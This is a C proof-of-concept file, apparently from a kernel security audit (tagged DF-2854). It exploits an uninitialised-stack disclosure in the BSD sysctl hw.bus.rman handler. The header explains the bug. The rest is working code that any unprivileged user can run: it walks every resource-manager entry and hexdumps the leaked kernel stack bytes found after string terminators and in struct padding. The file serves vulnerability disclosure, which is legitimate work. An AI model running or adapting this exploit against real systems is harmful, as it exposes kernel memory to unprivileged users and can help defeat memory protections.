/*
 * DF-2854 PoC: sysctl_rman() exports partially-initialized stack to
 * unprivileged readers via hw.bus.rman.
 *
 * sys/kern/subr_rman.c:645-731: `struct u_resource ures` and
 * `struct u_rman urm` are stack locals that are only *partially* written:
 *   - ures.r_devname[32] gets only strlen(name)+1 bytes (ksnprintf %s%d
 *     / "nomatch" / ""), bytes after the NUL stay uninitialized
 *   - urm.rm_descr[32] gets only strlen(descr)+1 bytes (strlcpy)
 *   - plus the 4 trailing pad bytes of u_resource (DF-0092)
 * SYSCTL_OUT(req, &ures, sizeof(ures)) copies the FULL sizeof(struct)
 * (80 bytes), disclosing stale kernel stack to any unprivileged user.
 *
 * DF-0092 documented only the 4 trailing padding bytes and asserted the
 * named fields were fully set -- they are not.  This walker dumps the raw
 * bytes so the after-NUL tail is visible.
 *
 * Build: cc -O -o rman_leak rman_leak.c
 * Run:   ./rman_leak            (as ANY user; no privileges needed)
 * Success criterion: nonzero, run-varying bytes in r_devname/rm_descr
 * after the NUL terminator across >=3 runs (leak_sample.txt).
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <err.h>
#include <errno.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define RM_TEXTLEN 32

struct u_resource {
	uintptr_t	r_handle;
	uintptr_t	r_parent;
	uintptr_t	r_device;
	char		r_devname[RM_TEXTLEN];
	unsigned long	r_start;
	unsigned long	r_size;
	unsigned int	r_flags;
};

struct u_rman {
	uintptr_t	rm_handle;
	char		rm_descr[RM_TEXTLEN];
	unsigned long	rm_start;
	unsigned long	rm_size;
	int		rm_type;
	int		rm_cpuid;
};

struct u_businfo {
	int		ub_version;
	int		ub_generation;
};

static void
hexdump_field(const char *what, const char *buf, size_t len)
{
	size_t i;
	size_t nulpos = strlen(buf);	/* first NUL */
	int nz = 0;

	printf("    %-22s \"%s\" | raw:", what, buf);
	for (i = 0; i < len; i++) {
		if (i == 16)
			printf("\n    %-22s", "");
		printf(" %02x", (unsigned char)buf[i]);
	}
	for (i = nulpos + 1; i < len; i++)
		if (buf[i] != 0)
			nz++;
	printf("\n    -> bytes after first NUL: %zu, nonzero: %d %s\n",
	    len - nulpos - 1, nz, nz ? "<<< UNINITIALIZED STACK LEAKED" : "");
}

int
main(void)
{
	struct u_businfo ubus;
	struct u_rman urm;
	struct u_resource ures;
	int name2oid[2], oid[CTL_MAXNAME + 12];
	size_t oidlen, rlen, blen;
	int rman_idx, res_idx, rman_ptr, res_ptr;
	int leaks = 0, entries = 0;

	/* dirty this thread's kernel stack before each read (namei etc) */
	setenv("X", "1", 1);

	blen = sizeof(ubus);
	if (sysctlbyname("hw.bus.info", &ubus, &blen, NULL, 0) < 0)
		err(1, "sysctlbyname(hw.bus.info)");

	name2oid[0] = 0;
	name2oid[1] = 3;
	oidlen = sizeof(oid);
	if (sysctl(name2oid, 2, oid, &oidlen, "hw.bus.rman",
	    strlen("hw.bus.rman")) < 0)
		err(1, "sysctl name2oid");
	oidlen /= sizeof(int);
	oid[oidlen++] = ubus.ub_generation;
	rman_ptr = oidlen++;
	res_ptr = oidlen++;

	for (rman_idx = 0; rman_idx < 255; rman_idx++) {
		oid[rman_ptr] = rman_idx;
		oid[res_ptr] = -1;
		rlen = sizeof(urm);
		if (sysctl(oid, oidlen, &urm, &rlen, NULL, 0) < 0) {
			if (errno == ENOENT)
				break;
			err(1, "sysctl hw.bus.rman.%d", rman_idx);
		}
		printf("rman[%d] handle=%#zx start=%#lx size=%#lx type=%d"
		    " cpuid=%d\n", rman_idx, urm.rm_handle, urm.rm_start,
		    urm.rm_size, urm.rm_type, urm.rm_cpuid);
		hexdump_field("rm_descr tail:", urm.rm_descr, RM_TEXTLEN);

		for (res_idx = 0; res_idx < 1000; res_idx++) {
			oid[res_ptr] = res_idx;
			rlen = sizeof(ures);
			if (sysctl(oid, oidlen, &ures, &rlen, NULL, 0) < 0) {
				if (errno == ENOENT)
					break;
				err(1, "sysctl hw.bus.rman.%d.%d",
				    rman_idx, res_idx);
			}
			entries++;
			printf("  res[%d] handle=%#zx start=%#lx size=%#lx"
			    " flags=%#x\n", res_idx, ures.r_handle,
			    ures.r_start, ures.r_size, ures.r_flags);
			hexdump_field("r_devname tail:", ures.r_devname,
			    RM_TEXTLEN);
			/* DF-0092's 4 trailing pad bytes (76..79) */
			{
				unsigned char *p = (unsigned char *)&ures;
				printf("    tail pad bytes 76-79: %02x %02x"
				    " %02x %02x\n", p[76], p[77], p[78],
				    p[79]);
				if (p[76] | p[77] | p[78] | p[79])
					leaks++;
			}
		}
	}
	printf("SUMMARY: %d resource entries scanned\n", entries);
	return (0);
}
